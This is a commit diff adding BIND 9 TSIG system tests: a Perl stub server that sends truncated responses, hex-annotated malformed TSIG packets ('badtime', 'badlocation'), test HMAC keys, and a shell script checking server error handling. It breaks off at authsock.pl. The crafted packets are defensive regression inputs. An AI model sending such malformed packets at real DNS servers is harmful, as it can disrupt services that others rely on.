summaryrefslogtreecommitdiffstats
path: root/bin/tests/system/tsig
diff options
context:
space:
mode:
authorDaniel Baumann <daniel.baumann@progress-linux.org>2024-04-27 07:24:22 +0000
committerDaniel Baumann <daniel.baumann@progress-linux.org>2024-04-27 07:24:22 +0000
commit45d6379135504814ab723b57f0eb8be23393a51d (patch)
treed4f2ec4acca824a8446387a758b0ce4238a4dffa /bin/tests/system/tsig
parentInitial commit. (diff)
downloadbind9-564253c724404fc788d27ab128f285c1070fe23c.tar.xz
bind9-564253c724404fc788d27ab128f285c1070fe23c.zip
Adding upstream version 1:9.16.44.upstream/1%9.16.44upstream
Signed-off-by: Daniel Baumann <daniel.baumann@progress-linux.org>
Diffstat (limited to '')
-rw-r--r--bin/tests/system/tsig/ans2/ans.pl52
-rw-r--r--bin/tests/system/tsig/badlocation37
-rw-r--r--bin/tests/system/tsig/badtime37
-rw-r--r--bin/tests/system/tsig/clean.sh26
-rw-r--r--bin/tests/system/tsig/ns1/example.db163
-rw-r--r--bin/tests/system/tsig/ns1/named.conf.in93
-rw-r--r--bin/tests/system/tsig/prereq.sh24
-rw-r--r--bin/tests/system/tsig/setup.sh35
-rw-r--r--bin/tests/system/tsig/tests.sh262
-rw-r--r--bin/tests/system/tsiggss/authsock.pl96
-rw-r--r--bin/tests/system/tsiggss/clean.sh28
-rw-r--r--bin/tests/system/tsiggss/ns1/administrator.ccachebin0 -> 2315 bytes
-rw-r--r--bin/tests/system/tsiggss/ns1/dns.keytabbin0 -> 1087 bytes
-rw-r--r--bin/tests/system/tsiggss/ns1/example.nil.db.in62
-rw-r--r--bin/tests/system/tsiggss/ns1/named.conf.in49
-rw-r--r--bin/tests/system/tsiggss/ns1/testdenied.ccachebin0 -> 2188 bytes
-rw-r--r--bin/tests/system/tsiggss/prereq.sh23
-rw-r--r--bin/tests/system/tsiggss/setup.sh22
-rw-r--r--bin/tests/system/tsiggss/tests.sh177
-rwxr-xr-xbin/tests/system/tsiggss/tests_isc_spnego_flaws.py219
20 files changed, 1405 insertions, 0 deletions
diff --git a/bin/tests/system/tsig/ans2/ans.pl b/bin/tests/system/tsig/ans2/ans.pl
new file mode 100644
index 0000000..09ab29b
--- /dev/null
+++ b/bin/tests/system/tsig/ans2/ans.pl
@@ -0,0 +1,52 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+#
+# An adhoc server that returns a TC=1 response with the final byte
+# removed to generate UNEXPECTEDEND form dns_message_parse.
+#
+
+use IO::File;
+use IO::Socket;
+
+my $localport = int($ENV{'PORT'});
+if (!$localport) { $localport = 5300; }
+printf "localport %u\n", $localport;
+
+my $sock = IO::Socket::INET->new(LocalAddr => "10.53.0.2",
+ LocalPort => $localport, Proto => "udp") or die "$!";
+
+my $pidf = new IO::File "ans.pid", "w" or die "cannot open pid file: $!";
+print $pidf "$$\n" or die "cannot write pid file: $!";
+$pidf->close or die "cannot close pid file: $!";
+sub rmpid { unlink "ans.pid"; exit 1; };
+
+$SIG{INT} = \&rmpid;
+$SIG{TERM} = \&rmpid;
+
+sub arraystring {
+ my $string = join("", @_);
+ return $string;
+}
+
+for (;;) {
+ $from = $sock->recv($buf, 512);
+ ($port, $ip_address) = unpack_sockaddr_in($from);
+ $l = length($buf);
+ printf "received %u bytes from %s#%u\n", $l, inet_ntoa($ip_address), $port;
+ @up = unpack("C[$l]", $buf);
+ $up[2] |= 0x80; # QR
+ $up[2] |= 0x02; # TC
+ $up[3] |= 0x80; # RA
+ $l -= 1; # truncate the response 1 byte
+ $replydata = pack("C[$l]", @up);
+ printf "sent %u bytes\n", $sock->send($replydata);
+}
diff --git a/bin/tests/system/tsig/badlocation b/bin/tests/system/tsig/badlocation
new file mode 100644
index 0000000..4477423
--- /dev/null
+++ b/bin/tests/system/tsig/badlocation
@@ -0,0 +1,37 @@
+# Transaction ID
+1122
+# Standard query
+0000
+# Questions: 1, Additional: 1
+0001 0000 0001 0000
+# QNAME: isc.org
+03 69 73 63 03 6F 72 67 00
+# Type: A (Host Address)
+0001
+# Class: IN
+0001
+# Specially crafted TSIG Resource Record
+# Name: "sha256"
+06 73 68 61 32 35 36 00
+# Type: TSIG (Transaction Signature)
+00fa
+# Class: ANY
+00ff
+# TTL: 0
+00000000
+# RdLen: 29
+001d
+# Algorithm Name: hmac-sha256
+0b 68 6D 61 63 2D 73 68 61 32 35 36 00
+# Time Signed: Jan 1, 1970 01:00:00.000000000 CET
+00 00 00 00 00 00
+# Fudge: 300
+012c
+# MAC Size: 0; MAC: empty
+0000
+# Original ID: 0
+0000
+# Error: no error
+0000
+# Other Data Length: 0
+0000
diff --git a/bin/tests/system/tsig/badtime b/bin/tests/system/tsig/badtime
new file mode 100644
index 0000000..7926404
--- /dev/null
+++ b/bin/tests/system/tsig/badtime
@@ -0,0 +1,37 @@
+# Transaction ID
+1122
+# Standard query
+0000
+# Questions: 1, Additional: 1
+0001 0000 0000 0001
+# QNAME: isc.org
+03 69 73 63 03 6F 72 67 00
+# Type: A (Host Address)
+0001
+# Class: IN
+0001
+# Specially crafted TSIG Resource Record
+# Name: "sha256"
+06 73 68 61 32 35 36 00
+# Type: TSIG (Transaction Signature)
+00fa
+# Class: ANY
+00ff
+# TTL: 0
+00000000
+# RdLen: 29
+001d
+# Algorithm Name: hmac-sha256
+0b 68 6D 61 63 2D 73 68 61 32 35 36 00
+# Time Signed: Jan 1, 1970 01:00:00.000000000 CET
+00 00 00 00 00 00
+# Fudge: 300
+012c
+# MAC Size: 0; MAC: empty
+0000
+# Original ID: 0
+0000
+# Error: BADSIG
+0010
+# Other Data Length: 0
+0000
diff --git a/bin/tests/system/tsig/clean.sh b/bin/tests/system/tsig/clean.sh
new file mode 100644
index 0000000..b173ffe
--- /dev/null
+++ b/bin/tests/system/tsig/clean.sh
@@ -0,0 +1,26 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+#
+# Clean up after tsig tests.
+#
+
+rm -f dig.out.*
+rm -f */named.memstats
+rm -f */named.conf
+rm -f */named.run
+rm -f ns*/named.lock
+rm -f Kexample.net.*
+rm -f keygen.out?
+rm -f ns*/managed-keys.bind*
+rm -f packet.out
diff --git a/bin/tests/system/tsig/ns1/example.db b/bin/tests/system/tsig/ns1/example.db
new file mode 100644
index 0000000..7854613
--- /dev/null
+++ b/bin/tests/system/tsig/ns1/example.db
@@ -0,0 +1,163 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0. If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$ORIGIN .
+$TTL 300 ; 5 minutes
+example.nil IN SOA ns1.example.nil. hostmaster.example.nil. (
+ 1 ; serial
+ 2000 ; refresh (2000 seconds)
+ 2000 ; retry (2000 seconds)
+ 1814400 ; expire (3 weeks)
+ 3600 ; minimum (1 hour)
+ )
+example.nil. NS ns1.example.nil.
+ns1.example.nil. A 10.53.0.1
+example.nil. NS ns2.example.nil.
+ns2.example.nil. A 10.53.0.2
+
+$ORIGIN example.nil.
+* MX 10 mail
+a TXT "foo foo foo"
+ PTR foo.net.
+$TTL 3600 ; 1 hour
+a01 A 0.0.0.0
+a02 A 255.255.255.255
+a601 AAAA ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
+afsdb01 AFSDB 0 hostname
+afsdb02 AFSDB 65535 .
+$TTL 300 ; 5 minutes
+b CNAME foo.net.
+c A 73.80.65.49
+$TTL 3600 ; 1 hour
+cert01 CERT 65534 65535 PRIVATEOID (
+ MxFcby9k/yvedMfQgKzhH5er0Mu/vILz45IkskceFGgi
+ WCn/GxHhai6VAuHAoNUz4YoU1tVfSCSqQYn6//11U6Nl
+ d80jEeC8aTrO+KKmCaY= )
+cname01 CNAME cname-target.
+cname02 CNAME cname-target
+cname03 CNAME .
+$TTL 300 ; 5 minutes
+d A 73.80.65.49
+$TTL 3600 ; 1 hour
+dname01 DNAME dname-target.
+dname02 DNAME dname-target
+dname03 DNAME .
+$TTL 300 ; 5 minutes
+e MX 10 mail
+ TXT "one"
+ TXT "three"
+ TXT "two"
+ A 73.80.65.49
+ A 73.80.65.50
+ A 73.80.65.52
+ A 73.80.65.51
+f A 73.80.65.52
+$TTL 3600 ; 1 hour
+gpos01 GPOS "-22.6882" "116.8652" "250.0"
+gpos02 GPOS "" "" ""
+hinfo01 HINFO "Generic PC clone" "NetBSD-1.4"
+hinfo02 HINFO "PC" "NetBSD"
+isdn01 ISDN "isdn-address"
+isdn02 ISDN "isdn-address" "subaddress"
+isdn03 ISDN "isdn-address"
+isdn04 ISDN "isdn-address" "subaddress"
+key01 KEY 512 255 1 (
+ AQMFD5raczCJHViKtLYhWGz8hMY9UGRuniJDBzC7w0aR
+ yzWZriO6i2odGWWQVucZqKVsENW91IOW4vqudngPZsY3
+ GvQ/xVA8/7pyFj6b7Esga60zyGW6LFe9r8n6paHrlG5o
+ jqf0BaqHT+8= )
+kx01 KX 10 kdc
+kx02 KX 10 .
+loc01 LOC 60 9 0.000 N 24 39 0.000 E 10.00m 20m 2000m 20m
+loc02 LOC 60 9 0.000 N 24 39 0.000 E 10.00m 20m 2000m 20m
+mb01 MG madname
+mb02 MG .
+mg01 MG mgmname
+mg02 MG .
+minfo01 MINFO rmailbx emailbx
+minfo02 MINFO . .
+mr01 MR mrname
+mr02 MR .
+mx01 MX 10 mail
+mx02 MX 10 .
+naptr01 NAPTR 0 0 "" "" "" .
+naptr02 NAPTR 65535 65535 "blurgh" "blorf" ":(.*):\\1:" foo.
+nsap-ptr01 NSAP-PTR foo.
+ NSAP-PTR .
+nsap01 NSAP 0x47000580005a0000000001e133ffffff00016100
+nsap02 NSAP 0x47000580005a0000000001e133ffffff00016100
+nxt01 NXT a.secure ( NS SOA MX SIG KEY LOC NXT )
+nxt02 NXT . ( NSAP-PTR NXT )
+nxt03 NXT . ( A )
+nxt04 NXT . ( 127 )
+ptr01 PTR example.nil.
+px01 PX 65535 foo. bar.
+px02 PX 65535 . .
+rp01 RP mbox-dname txt-dname
+rp02 RP . .
+rt01 RT 0 intermediate-host
+rt02 RT 65535 .
+$TTL 300 ; 5 minutes
+s NS ns.s
+$ORIGIN s.example.nil.
+ns A 73.80.65.49
+$ORIGIN example.nil.
+$TTL 3600 ; 1 hour
+sig01 SIG NXT 1 3 3600 20000102030405 (
+ 19961211100908 2143 foo
+ MxFcby9k/yvedMfQgKzhH5er0Mu/vILz45IkskceFGgi
+ WCn/GxHhai6VAuHAoNUz4YoU1tVfSCSqQYn6//11U6Nl
+ d80jEeC8aTrO+KKmCaY= )
+srv01 SRV 0 0 0 .
+srv02 SRV 65535 65535 65535 old-slow-box.example.com.
+$TTL 301 ; 5 minutes 1 second
+t A 73.80.65.49
+$TTL 3600 ; 1 hour
+txt01 TXT "foo"
+txt02 TXT "foo" "bar"
+txt03 TXT "foo"
+txt04 TXT "foo" "bar"
+txt05 TXT "foo bar"
+txt06 TXT "foo bar"
+txt07 TXT "foo bar"
+txt08 TXT "foo\010bar"
+txt09 TXT "foo\010bar"
+txt10 TXT "foo bar"
+txt11 TXT "\"foo\""
+txt12 TXT "\"foo\""
+$TTL 300 ; 5 minutes
+u TXT "txt-not-in-nxt"
+$ORIGIN u.example.nil.
+a A 73.80.65.49
+b A 73.80.65.49
+$ORIGIN example.nil.
+$TTL 3600 ; 1 hour
+wks01 WKS 10.0.0.1 6 ( 0 1 2 21 23 )
+wks02 WKS 10.0.0.1 17 ( 0 1 2 53 )
+wks03 WKS 10.0.0.2 6 ( 65535 )
+x2501 X25 "123456789"
+large TXT ( 1234567890 1234567890 1234567890 1234567890
+ 1234567890 1234567890 1234567890 1234567890
+ 1234567890 1234567890 1234567890 1234567890
+ 1234567890 1234567890 1234567890 1234567890
+ 1234567890 1234567890 1234567890 1234567890
+ 1234567890 1234567890 1234567890 1234567890
+ 1234567890 1234567890 1234567890 1234567890
+ 1234567890 1234567890 1234567890 1234567890
+ 1234567890 1234567890 1234567890 1234567890
+ 1234567890 1234567890 1234567890 1234567890
+ 1234567890 1234567890 1234567890 1234567890
+ 1234567890 1234567890 1234567890 1234567890
+ 1234567890 1234567890 1234567890 1234567890
+ 1234567890 1234567890 1234567890 1234567890
+ 1234567890 1234567890 1234567890 1234567890
+ 1234567890 1234567890 1234567890 1234567890
+ 1234567890 1234567890 1234567890 1234567890 )
diff --git a/bin/tests/system/tsig/ns1/named.conf.in b/bin/tests/system/tsig/ns1/named.conf.in
new file mode 100644
index 0000000..22637af
--- /dev/null
+++ b/bin/tests/system/tsig/ns1/named.conf.in
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+ query-source address 10.53.0.1;
+ notify-source 10.53.0.1;
+ transfer-source 10.53.0.1;
+ port @PORT@;
+ pid-file "named.pid";
+ listen-on { 10.53.0.1; };
+ listen-on-v6 { none; };
+ recursion yes;
+ notify no;
+};
+
+# md5 key appended by setup.sh at the end
+
+key "sha1" {
+ secret "FrSt77yPTFx6hTs4i2tKLB9LmE0=";
+ algorithm hmac-sha1;
+};
+
+key "sha224" {
+ secret "hXfwwwiag2QGqblopofai9NuW28q/1rH4CaTnA==";
+ algorithm hmac-sha224;
+};
+
+key "sha256" {
+ secret "R16NojROxtxH/xbDl//ehDsHm5DjWTQ2YXV+hGC2iBY=";
+ algorithm hmac-sha256;
+};
+
+key "sha384" {
+ secret "OaDdoAk2LAcLtYeUnsT7A9XHjsb6ZEma7OCvUpMraQIJX6HetGrlKmF7yglO1G2h";
+ algorithm hmac-sha384;
+};
+
+key "sha512" {
+ secret "jI/Pa4qRu96t76Pns5Z/Ndxbn3QCkwcxLOgt9vgvnJw5wqTRvNyk3FtD6yIMd1dWVlqZ+Y4fe6Uasc0ckctEmg==";
+ algorithm hmac-sha512;
+};
+
+# md5-trunc key appended by setup.sh at the end
+
+key "sha1-trunc" {
+ secret "FrSt77yPTFx6hTs4i2tKLB9LmE0=";
+ algorithm hmac-sha1-80;
+};
+
+key "sha224-trunc" {
+ secret "hXfwwwiag2QGqblopofai9NuW28q/1rH4CaTnA==";
+ algorithm hmac-sha224-112;
+};
+
+key "sha256-trunc" {
+ secret "R16NojROxtxH/xbDl//ehDsHm5DjWTQ2YXV+hGC2iBY=";
+ algorithm hmac-sha256-128;
+};
+
+key "sha384-trunc" {
+ secret "OaDdoAk2LAcLtYeUnsT7A9XHjsb6ZEma7OCvUpMraQIJX6HetGrlKmF7yglO1G2h";
+ algorithm hmac-sha384-192;
+};
+
+key "sha512-trunc" {
+ secret "jI/Pa4qRu96t76Pns5Z/Ndxbn3QCkwcxLOgt9vgvnJw5wqTRvNyk3FtD6yIMd1dWVlqZ+Y4fe6Uasc0ckctEmg==";
+ algorithm hmac-sha512-256;
+};
+
+zone "example.nil" {
+ type primary;
+ file "example.db";
+};
+
+server 10.53.0.2 {
+ keys sha256;
+};
+
+zone "bad-tsig" {
+ type forward;
+ forwarders { 10.53.0.2; };
+ forward only;
+};
diff --git a/bin/tests/system/tsig/prereq.sh b/bin/tests/system/tsig/prereq.sh
new file mode 100644
index 0000000..a663cfe
--- /dev/null
+++ b/bin/tests/system/tsig/prereq.sh
@@ -0,0 +1,24 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# shellcheck source=conf.sh
+. "$SYSTEMTESTTOP/conf.sh"
+
+set -e
+
+if test -z "$PERL"; then
+ echo_i "This test requires Perl." >&2
+ exit 1
+fi
+
+exit 0
diff --git a/bin/tests/system/tsig/setup.sh b/bin/tests/system/tsig/setup.sh
new file mode 100644
index 0000000..420e513
--- /dev/null
+++ b/bin/tests/system/tsig/setup.sh
@@ -0,0 +1,35 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+SYSTEMTESTTOP=..
+. $SYSTEMTESTTOP/conf.sh
+
+$SHELL clean.sh
+
+copy_setports ns1/named.conf.in ns1/named.conf
+
+if $FEATURETEST --md5
+then
+ cat >> ns1/named.conf << EOF
+# Conditionally included when support for MD5 is available
+key "md5" {
+ secret "97rnFx24Tfna4mHPfgnerA==";
+ algorithm hmac-md5;
+};
+
+key "md5-trunc" {
+ secret "97rnFx24Tfna4mHPfgnerA==";
+ algorithm hmac-md5-80;
+};
+EOF
+fi
diff --git a/bin/tests/system/tsig/tests.sh b/bin/tests/system/tsig/tests.sh
new file mode 100644
index 0000000..affc6d0
--- /dev/null
+++ b/bin/tests/system/tsig/tests.sh
@@ -0,0 +1,262 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+SYSTEMTESTTOP=..
+. $SYSTEMTESTTOP/conf.sh
+
+DIGOPTS="+tcp +nosea +nostat +noquest +nocomm +nocmd -p ${PORT}"
+
+#
+# Shared secrets.
+#
+md5="97rnFx24Tfna4mHPfgnerA=="
+sha1="FrSt77yPTFx6hTs4i2tKLB9LmE0="
+sha224="hXfwwwiag2QGqblopofai9NuW28q/1rH4CaTnA=="
+sha256="R16NojROxtxH/xbDl//ehDsHm5DjWTQ2YXV+hGC2iBY="
+sha384="OaDdoAk2LAcLtYeUnsT7A9XHjsb6ZEma7OCvUpMraQIJX6HetGrlKmF7yglO1G2h"
+sha512="jI/Pa4qRu96t76Pns5Z/Ndxbn3QCkwcxLOgt9vgvnJw5wqTRvNyk3FtD6yIMd1dWVlqZ+Y4fe6Uasc0ckctEmg=="
+
+status=0
+
+if $FEATURETEST --md5
+then
+ echo_i "fetching using hmac-md5 (old form)"
+ ret=0
+ $DIG $DIGOPTS example.nil. -y "md5:$md5" @10.53.0.1 soa > dig.out.md5.old || ret=1
+ grep -i "md5.*TSIG.*NOERROR" dig.out.md5.old > /dev/null || ret=1
+ if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+ fi
+
+ echo_i "fetching using hmac-md5 (new form)"
+ ret=0
+ $DIG $DIGOPTS example.nil. -y "hmac-md5:md5:$md5" @10.53.0.1 soa > dig.out.md5.new || ret=1
+ grep -i "md5.*TSIG.*NOERROR" dig.out.md5.new > /dev/null || ret=1
+ if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+ fi
+else
+ echo_i "skipping using hmac-md5"
+fi
+
+echo_i "fetching using hmac-sha1"
+ret=0
+$DIG $DIGOPTS example.nil. -y "hmac-sha1:sha1:$sha1" @10.53.0.1 soa > dig.out.sha1 || ret=1
+grep -i "sha1.*TSIG.*NOERROR" dig.out.sha1 > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+fi
+
+echo_i "fetching using hmac-sha224"
+ret=0
+$DIG $DIGOPTS example.nil. -y "hmac-sha224:sha224:$sha224" @10.53.0.1 soa > dig.out.sha224 || ret=1
+grep -i "sha224.*TSIG.*NOERROR" dig.out.sha224 > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+fi
+
+echo_i "fetching using hmac-sha256"
+ret=0
+$DIG $DIGOPTS example.nil. -y "hmac-sha256:sha256:$sha256" @10.53.0.1 soa > dig.out.sha256 || ret=1
+grep -i "sha256.*TSIG.*NOERROR" dig.out.sha256 > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+fi
+
+echo_i "fetching using hmac-sha384"
+ret=0
+$DIG $DIGOPTS example.nil. -y "hmac-sha384:sha384:$sha384" @10.53.0.1 soa > dig.out.sha384 || ret=1
+grep -i "sha384.*TSIG.*NOERROR" dig.out.sha384 > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+fi
+
+echo_i "fetching using hmac-sha512"
+ret=0
+$DIG $DIGOPTS example.nil. -y "hmac-sha512:sha512:$sha512" @10.53.0.1 soa > dig.out.sha512 || ret=1
+grep -i "sha512.*TSIG.*NOERROR" dig.out.sha512 > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+fi
+
+#
+#
+# Truncated TSIG
+#
+#
+if $FEATURETEST --md5
+then
+ echo_i "fetching using hmac-md5 (trunc)"
+ ret=0
+ $DIG $DIGOPTS example.nil. -y "hmac-md5-80:md5-trunc:$md5" @10.53.0.1 soa > dig.out.md5.trunc || ret=1
+ grep -i "md5-trunc.*TSIG.*NOERROR" dig.out.md5.trunc > /dev/null || ret=1
+ if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+ fi
+else
+ echo_i "skipping using hmac-md5 (trunc)"
+fi
+
+echo_i "fetching using hmac-sha1 (trunc)"
+ret=0
+$DIG $DIGOPTS example.nil. -y "hmac-sha1-80:sha1-trunc:$sha1" @10.53.0.1 soa > dig.out.sha1.trunc || ret=1
+grep -i "sha1.*TSIG.*NOERROR" dig.out.sha1.trunc > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+fi
+
+echo_i "fetching using hmac-sha224 (trunc)"
+ret=0
+$DIG $DIGOPTS example.nil. -y "hmac-sha224-112:sha224-trunc:$sha224" @10.53.0.1 soa > dig.out.sha224.trunc || ret=1
+grep -i "sha224-trunc.*TSIG.*NOERROR" dig.out.sha224.trunc > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+fi
+
+echo_i "fetching using hmac-sha256 (trunc)"
+ret=0
+$DIG $DIGOPTS example.nil. -y "hmac-sha256-128:sha256-trunc:$sha256" @10.53.0.1 soa > dig.out.sha256.trunc || ret=1
+grep -i "sha256-trunc.*TSIG.*NOERROR" dig.out.sha256.trunc > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+fi
+
+echo_i "fetching using hmac-sha384 (trunc)"
+ret=0
+$DIG $DIGOPTS example.nil. -y "hmac-sha384-192:sha384-trunc:$sha384" @10.53.0.1 soa > dig.out.sha384.trunc || ret=1
+grep -i "sha384-trunc.*TSIG.*NOERROR" dig.out.sha384.trunc > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+fi
+
+echo_i "fetching using hmac-sha512-256 (trunc)"
+ret=0
+$DIG $DIGOPTS example.nil. -y "hmac-sha512-256:sha512-trunc:$sha512" @10.53.0.1 soa > dig.out.sha512.trunc || ret=1
+grep -i "sha512-trunc.*TSIG.*NOERROR" dig.out.sha512.trunc > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+fi
+
+
+#
+#
+# Check for bad truncation.
+#
+#
+if $FEATURETEST --md5
+then
+ echo_i "fetching using hmac-md5-80 (BADTRUNC)"
+ ret=0
+ $DIG $DIGOPTS example.nil. -y "hmac-md5-80:md5:$md5" @10.53.0.1 soa > dig.out.md5-80 || ret=1
+ grep -i "md5.*TSIG.*BADTRUNC" dig.out.md5-80 > /dev/null || ret=1
+ if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+ fi
+else
+ echo_i "skipping using hmac-md5-80 (BADTRUNC)"
+fi
+
+echo_i "fetching using hmac-sha1-80 (BADTRUNC)"
+ret=0
+$DIG $DIGOPTS example.nil. -y "hmac-sha1-80:sha1:$sha1" @10.53.0.1 soa > dig.out.sha1-80 || ret=1
+grep -i "sha1.*TSIG.*BADTRUNC" dig.out.sha1-80 > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+fi
+
+echo_i "fetching using hmac-sha224-112 (BADTRUNC)"
+ret=0
+$DIG $DIGOPTS example.nil. -y "hmac-sha224-112:sha224:$sha224" @10.53.0.1 soa > dig.out.sha224-112 || ret=1
+grep -i "sha224.*TSIG.*BADTRUNC" dig.out.sha224-112 > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+fi
+
+echo_i "fetching using hmac-sha256-128 (BADTRUNC)"
+ret=0
+$DIG $DIGOPTS example.nil. -y "hmac-sha256-128:sha256:$sha256" @10.53.0.1 soa > dig.out.sha256-128 || ret=1
+grep -i "sha256.*TSIG.*BADTRUNC" dig.out.sha256-128 > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+fi
+
+echo_i "fetching using hmac-sha384-192 (BADTRUNC)"
+ret=0
+$DIG $DIGOPTS example.nil. -y "hmac-sha384-192:sha384:$sha384" @10.53.0.1 soa > dig.out.sha384-192 || ret=1
+grep -i "sha384.*TSIG.*BADTRUNC" dig.out.sha384-192 > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+fi
+
+echo_i "fetching using hmac-sha512-256 (BADTRUNC)"
+ret=0
+$DIG $DIGOPTS example.nil. -y "hmac-sha512-256:sha512:$sha512" @10.53.0.1 soa > dig.out.sha512-256 || ret=1
+grep -i "sha512.*TSIG.*BADTRUNC" dig.out.sha512-256 > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+fi
+
+echo_i "attempting fetch with bad tsig algorithm"
+ret=0
+$DIG $DIGOPTS example.nil. -y "badalgo:invalid:$sha512" @10.53.0.1 soa > dig.out.badalgo 2>&1 || ret=1
+grep -i "Couldn't create key invalid: algorithm is unsupported" dig.out.badalgo > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+fi
+
+echo_i "checking both OPT and TSIG records are returned when TC=1"
+ret=0
+$DIG -p ${PORT} +ignore +bufsize=512 large.example.nil -y "hmac-sha1:sha1:$sha1" @10.53.0.1 txt > dig.out.large 2>&1 || ret=1
+grep "flags:.* tc[ ;]" dig.out.large > /dev/null || ret=1
+grep "status: NOERROR" dig.out.large > /dev/null || ret=1
+grep "EDNS:" dig.out.large > /dev/null || ret=1
+grep -i "sha1.*TSIG.*NOERROR" dig.out.sha1 > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+fi
+
+echo_i "check that dnssec-keygen won't generate TSIG keys"
+ret=0
+$KEYGEN -a hmac-sha256 -b 128 -n host example.net > keygen.out3 2>&1 && ret=1
+grep "unknown algorithm" keygen.out3 > /dev/null || ret=1
+
+echo_i "check that a 'BADTIME' response with 'QR=0' is handled as a request"
+ret=0
+$PERL ../packet.pl -a 10.53.0.1 -p ${PORT} -t tcp < badtime > /dev/null || ret=1
+$DIG -p ${PORT} @10.53.0.1 version.bind txt ch > dig.out.verify || ret=1
+grep "status: NOERROR" dig.out.verify > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+fi
+
+if "$PERL" -e 'use Net::DNS; use Net::DNS::Packet;' > /dev/null 2>&1
+then
+ echo_i "check that TSIG in the wrong place returns FORMERR"
+ ret=0
+ $PERL ../packet.pl -a 10.53.0.1 -p ${PORT} -t udp -d < badlocation > packet.out
+ grep "rcode = FORMERR" packet.out > /dev/null || ret=1
+ if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+ fi
+fi
+
+echo_i "check that a malformed truncated response to a TSIG query is handled"
+ret=0
+$DIG -p $PORT @10.53.0.1 bad-tsig > dig.out.bad-tsig || ret=1
+grep "status: SERVFAIL" dig.out.bad-tsig > /dev/null || ret=1
+if [ $ret -eq 1 ] ; then
+ echo_i "failed"; status=1
+fi
+
+echo_i "exit status: $status"
+[ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/tsiggss/authsock.pl b/bin/tests/system/tsiggss/authsock.pl
new file mode 100644
index 0000000..d629c65
--- /dev/null
+++ b/bin/tests/system/tsiggss/authsock.pl
@@ -0,0 +1,96 @@
+#!/usr/bin/env perl
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
